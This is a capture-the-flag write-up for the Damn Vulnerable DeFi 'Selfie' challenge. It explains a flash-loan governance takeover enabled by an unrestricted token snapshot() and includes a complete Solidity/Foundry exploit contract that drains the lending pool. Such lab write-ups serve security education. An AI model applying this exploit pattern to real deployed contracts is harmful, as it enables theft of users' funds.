A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
TL;DR
_hasEnoughVotes() checks governance token balance based on snapshot. We can call governanceToken.snapshot() directly since there is no access control. Just borrow flashloan and take snapshot in the callback, so that the contract thinks we have a lot of balance.
Code Audit
Snapshot can be buggy if there is no minimum "token locked time" required, which is the case for this chall.
To be able to queue actions, we must hold more than half of the governance token totalSupply:
The governanceToken is dvtSnapshot, which is the only token used in this chall. The condition checked by _hasEnoughVotes() can easily be achieved since dvtSnapshot is the token of the flashloan pool as well.
Also, look at the DamnValuableTokenSnapshot.snapshot() function, this function has no access control so we can directly call it once we receive the flashloan:
So we have to vm.warp() two days forward for calling SimpleGovernance.executeAction(). Since we can't vm.warp() within the attack contract of course, the idea is to do flashloan, queueAction(), and pay back flashloan in attack contract, then vm.warp() in test file and call executeAction() at the very end.
Building PoC
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {DamnValuableTokenSnapshot} from"../../../src/Contracts/DamnValuableTokenSnapshot.sol";import {SimpleGovernance} from"../../../src/Contracts/selfie/SimpleGovernance.sol";import {SelfiePool} from"../../../src/Contracts/selfie/SelfiePool.sol";contractSelfieisTest {uint256internalconstant TOKEN_INITIAL_SUPPLY =2_000_000e18;uint256internalconstant TOKENS_IN_POOL =1_500_000e18; Utilities internal utils; SimpleGovernance internal simpleGovernance; SelfiePool internal selfiePool; DamnValuableTokenSnapshot internal dvtSnapshot;addresspayableinternal attacker;functionsetUp() public { utils =newUtilities();addresspayable[] memory users = utils.createUsers(1); attacker = users[0]; vm.label(attacker,"Attacker"); dvtSnapshot =newDamnValuableTokenSnapshot(TOKEN_INITIAL_SUPPLY); vm.label(address(dvtSnapshot),"DVT"); simpleGovernance =newSimpleGovernance(address(dvtSnapshot)); vm.label(address(simpleGovernance),"Simple Governance"); selfiePool =newSelfiePool(address(dvtSnapshot),address(simpleGovernance) ); dvtSnapshot.transfer(address(selfiePool), TOKENS_IN_POOL);assertEq(dvtSnapshot.balanceOf(address(selfiePool)), TOKENS_IN_POOL); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker); AttackContract attackContract =newAttackContract(selfiePool, simpleGovernance); attackContract.pwn(); vm.warp(block.timestamp +2days); simpleGovernance.executeAction(attackContract.actionId()); attackContract.withdraw(); vm.stopPrank();/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {// Attacker has taken all tokens from the poolassertEq(dvtSnapshot.balanceOf(attacker), TOKENS_IN_POOL);assertEq(dvtSnapshot.balanceOf(address(selfiePool)),0); }}contract AttackContract { SelfiePool public selfiePool; SimpleGovernance public simpleGovernance; DamnValuableTokenSnapshot public governanceToken;addresspublic owner;uint256public actionId;constructor(SelfiePool_selfiePool,SimpleGovernance_simpleGovernance) { selfiePool = _selfiePool; simpleGovernance = _simpleGovernance; governanceToken = simpleGovernance.governanceToken(); owner = msg.sender; }functionpwn() external { selfiePool.flashLoan(governanceToken.totalSupply() /2+1); }functionreceiveTokens(address tokenAddress,uint256 borrowAmount) external {// Take snapshot governanceToken.snapshot();bytesmemory data = abi.encodeWithSignature("drainAllFunds(address)",address(this) ); actionId = simpleGovernance.queueAction(address(selfiePool), data,0 );// Pay back flashloan governanceToken.transfer(address(selfiePool), borrowAmount); }functionwithdraw() external { governanceToken.transfer(owner, governanceToken.balanceOf(address(this))); }}